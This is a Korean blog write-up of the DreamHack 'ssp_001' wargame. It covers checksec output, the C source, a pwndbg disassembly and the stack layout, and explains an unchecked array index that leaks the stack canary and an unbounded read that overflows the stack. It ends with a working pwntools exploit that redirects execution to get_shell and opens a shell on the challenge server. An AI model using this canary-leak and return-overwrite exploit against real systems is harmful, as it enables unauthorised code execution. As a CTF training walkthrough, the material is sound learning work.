rsp-∞

[DreamHack] ssp_001 본문

Write-ups/system

[DreamHack] ssp_001

portrait.kim 2024. 5. 18. 13:31
$ checksec ssp_001
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)

 

checksec 명령어를 사용하여 ssp_001 함수에서 canary 보호 기법이 적용되어 있음을 알 수 있다. (해당 워게임 Environment에서도 확인 가능)

 

#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>

void alarm_handler() {
    puts("TIME OUT");
    exit(-1);
}

void initialize() {
    setvbuf(stdin, NULL, _IONBF, 0);
    setvbuf(stdout, NULL, _IONBF, 0);
    signal(SIGALRM, alarm_handler);
    alarm(30);
}

void get_shell() {
    system("/bin/sh");
}

void print_box(unsigned char *box, int idx) {
    printf("Element of index %d is : %02x\n", idx, box[idx]);
}

void menu() {
    puts("[F]ill the box");
    puts("[P]rint the box");
    puts("[E]xit");
    printf("> ");
}

int main(int argc, char *argv[]) {

    unsigned char box[0x40] = {};
    char name[0x40] = {};
    char select[2] = {};
    int idx = 0, name_len = 0;
    initialize();

    while(1) {

        menu();
        read(0, select, 2);
        
        switch( select[0] ) {
            case 'F':
                printf("box input : ");
                read(0, box, sizeof(box));
                break;

            case 'P':
                printf("Element index : ");
                scanf("%d", &idx);
                print_box(box, idx);
                break;
            case 'E':
                printf("Name Size : ");
                scanf("%d", &name_len);
                printf("Name : ");
                read(0, name, name_len);
                return 0;
            default:
                break;

 

ssp_001의 c코드에서 get_shell() 함수가 정의되어 있는 것을 볼 수 있다. checksec에서 NX enabled를 확인할 수 있으므로 전체 함수에서 ret에 get_shell() 값을 집어넣어 주면 쉘 권한을 획득할 수 있을 것 같다. 또 switch 문에서 세 가지 옵션이 주어진 것을 볼 수 있는데, 여기서 취약점을 발견할 수 있다. F는 box에 값을 입력할 수 있게 하고, P는 box의 값을 읽을 수 있으며, E는 이름의 크기와 사이즈를 입력하고 종료한다. 취약점은 P에서 idx의 값을 설정해 놓고 있지 않아 사실상 box 외의 값도 읽을 수 있다는 것과 E에서 내가 직접 이름의 크기를 설정하여 스택 버퍼 오버플로우를 유도할 수 있다는 점이다. P를 통해 카나리의 값을 알아 내고 E를 통해 스택 버퍼 오버플로우 공격을 수행할 수 있다. 

 

pwndbg> disass main

Dump of assembler code for function main:

   0x0804872b <+0>:	push   ebp
   0x0804872c <+1>:	mov    ebp,esp
   0x0804872e <+3>:	push   edi
   0x0804872f <+4>:	sub    esp,0x94
   0x08048735 <+10>:	mov    eax,DWORD PTR [ebp+0xc]
   0x08048738 <+13>:	mov    DWORD PTR [ebp-0x98],eax
   0x0804873e <+19>:	mov    eax,gs:0x14
   0x08048744 <+25>:	mov    DWORD PTR [ebp-0x8],eax
   0x08048747 <+28>:	xor    eax,eax
   0x08048749 <+30>:	lea    edx,[ebp-0x88]
   0x0804874f <+36>:	mov    eax,0x0
   0x08048754 <+41>:	mov    ecx,0x10
   0x08048759 <+46>:	mov    edi,edx
   0x0804875b <+48>:	rep stos DWORD PTR es:[edi],eax
   0x0804875d <+50>:	lea    edx,[ebp-0x48]
   0x08048760 <+53>:	mov    eax,0x0
   0x08048765 <+58>:	mov    ecx,0x10
   0x0804876a <+63>:	mov    edi,edx
   0x0804876c <+65>:	rep stos DWORD PTR es:[edi],eax
   0x0804876e <+67>:	mov    WORD PTR [ebp-0x8a],0x0
   0x08048777 <+76>:	mov    DWORD PTR [ebp-0x94],0x0
   0x08048781 <+86>:	mov    DWORD PTR [ebp-0x90],0x0
   0x0804878b <+96>:	call   0x8048672 <initialize>
   0x08048790 <+101>:	call   0x80486f1 <menu>
   0x08048795 <+106>:	push   0x2
   0x08048797 <+108>:	lea    eax,[ebp-0x8a]
   0x0804879d <+114>:	push   eax
   0x0804879e <+115>:	push   0x0
   0x080487a0 <+117>:	call   0x80484a0 <read@plt>
   0x080487a5 <+122>:	add    esp,0xc
   0x080487a8 <+125>:	movzx  eax,BYTE PTR [ebp-0x8a]
   0x080487af <+132>:	movsx  eax,al
   0x080487b2 <+135>:	cmp    eax,0x46
   0x080487b5 <+138>:	je     0x80487c6 <main+155>
   0x080487b7 <+140>:	cmp    eax,0x50
   0x080487ba <+143>:	je     0x80487eb <main+192>
   0x080487bc <+145>:	cmp    eax,0x45
   0x080487bf <+148>:	je     0x8048824 <main+249>
   0x080487c1 <+150>:	jmp    0x804887a <main+335>
   0x080487c6 <+155>:	push   0x804896c
   0x080487cb <+160>:	call   0x80484b0 <printf@plt>
   0x080487d0 <+165>:	add    esp,0x4
   0x080487d3 <+168>:	push   0x40
   0x080487d5 <+170>:	lea    eax,[ebp-0x88]
   0x080487db <+176>:	push   eax
   0x080487dc <+177>:	push   0x0
   0x080487de <+179>:	call   0x80484a0 <read@plt>
   0x080487e3 <+184>:	add    esp,0xc
   0x080487e6 <+187>:	jmp    0x804887a <main+335>
   0x080487eb <+192>:	push   0x8048979
   0x080487f0 <+197>:	call   0x80484b0 <printf@plt>
   0x080487f5 <+202>:	add    esp,0x4
   0x080487f8 <+205>:	lea    eax,[ebp-0x94]
   0x080487fe <+211>:	push   eax
   0x080487ff <+212>:	push   0x804898a
   0x08048804 <+217>:	call   0x8048540 <__isoc99_scanf@plt>
   0x08048809 <+222>:	add    esp,0x8
   0x0804880c <+225>:	mov    eax,DWORD PTR [ebp-0x94]
   0x08048812 <+231>:	push   eax
   0x08048813 <+232>:	lea    eax,[ebp-0x88]
   0x08048819 <+238>:	push   eax
   0x0804881a <+239>:	call   0x80486cc <print_box>
   0x0804881f <+244>:	add    esp,0x8
   0x08048822 <+247>:	jmp    0x804887a <main+335>
   0x08048824 <+249>:	push   0x804898d
   0x08048829 <+254>:	call   0x80484b0 <printf@plt>
   0x0804882e <+259>:	add    esp,0x4
   0x08048831 <+262>:	lea    eax,[ebp-0x90]
   0x08048837 <+268>:	push   eax
   0x08048838 <+269>:	push   0x804898a
   0x0804883d <+274>:	call   0x8048540 <__isoc99_scanf@plt>
   0x08048842 <+279>:	add    esp,0x8
   0x08048845 <+282>:	push   0x804899a
   0x0804884a <+287>:	call   0x80484b0 <printf@plt>
   0x0804884f <+292>:	add    esp,0x4
   0x08048852 <+295>:	mov    eax,DWORD PTR [ebp-0x90]
   0x08048858 <+301>:	push   eax
   0x08048859 <+302>:	lea    eax,[ebp-0x48]
   0x0804885c <+305>:	push   eax
   0x0804885d <+306>:	push   0x0
   0x0804885f <+308>:	call   0x80484a0 <read@plt>
   0x08048864 <+313>:	add    esp,0xc
   0x08048867 <+316>:	mov    eax,0x0
   0x0804886c <+321>:	mov    edx,DWORD PTR [ebp-0x8]
   0x0804886f <+324>:	xor    edx,DWORD PTR gs:0x14
   0x08048876 <+331>:	je     0x8048884 <main+345>
   0x08048878 <+333>:	jmp    0x804887f <main+340>
   0x0804887a <+335>:	jmp    0x8048790 <main+101>
   0x0804887f <+340>:	call   0x80484e0 <__stack_chk_fail@plt>
   0x08048884 <+345>:	mov    edi,DWORD PTR [ebp-0x4]
   0x08048887 <+348>:	leave  
   0x08048888 <+349>:	ret    
End of assembler dump.

 

ssp_001의 main을 disassemble한 결과이다. get_shell 함수의 주소값을 출력해 보자.

 

pwndbg> print get_shell
$1 = {<text variable, no debug info>} 0x80486b9 <get_shell>

 

0x80486b9가 get_shell의 주소임을 알 수 있다.

 

pwndbg> i r

eax            0xfffffe00          -512
ecx            0xffffcefe          -12546
edx            0x2                 2
ebx            0x0                 0
esp            0xffffceb4          0xffffceb4
ebp            0xffffcf88          0xffffcf88
esi            0xf7e2a000          -136142848
edi            0xffffcf80          -12416
eip            0xf7fc4579          0xf7fc4579 <__kernel_vsyscall+9>
eflags         0x246               [ PF ZF IF ]
cs             0x23                35
ss             0x2b                43
ds             0x2b                43
es             0x2b                43
fs             0x0                 0
gs             0x63                99

 

스택의 구조를 파악하는 데 도움이 될까 싶어서 레지스터의 정보를 출력해 보았다.

 

ebp - 0x94 idx 4
ebp - 0x90 name_len 4
ebp - 0x8a select 2
ebp - 0x88 box 0x40
ebp - 0x48 name 0x40
ebp - 0x8 canary 4
ebp - 0x4 edi 4
ebp ebp 4
  ret 4

 

스택의 구조는 위와 같다. instruction마다 8바이트가 아닌 4바이트가 할당되는 이유는 checksec에서 확인할 수 있듯 64비트가 아닌 32비트 체제에서 작동하고 있기 때문이다. 위와 같은 정보들을 이용하여 익스플로잇 코드를 구성할 수 있다.

 

from pwn import *

p = remote("host3.dreamhack.games", 17233)

canary = b""

get_shell = 0x80486b9
buf2cnry = 0x80
name2cnry = 0x40
canary = b'0x'

p.sendlineafter(b'> ', 'F')
p.sendlineafter(b'box input : ', b'AAAAAAAAAAAAAAAA')

for i in range(4):
    p.sendlineafter(b'> ', b'P')
    p.sendlineafter(b'Element index : ', str(buf2cnry+(3-i)))
    p.recvuntil('is : ')
    canary += p.recv(2)

canary = int(canary,16)

payload = b''
payload += b'A'*name2cnry
payload += p32(canary)
payload += b'B'*8
payload += p32(get_shell)

p.sendlineafter(b'> ', 'E')
p.sendlineafter(b'Name Size : ', b'10000')
p.sendlineafter(b'Name : ', payload)

p.interactive()

 

해당 익스플로잇 코드를 실행한다.

 

$ python3 ssp001_exploit.py

[+] Opening connection to host3.dreamhack.games on port 17233: Done

[*] Switching to interactive mode
$ ls
flag
run.sh
ssp_001

 

cat flag를 통해 플래그를 확인할 수 있다. 

 

플래그를 획득하여 워게임을 해결했다.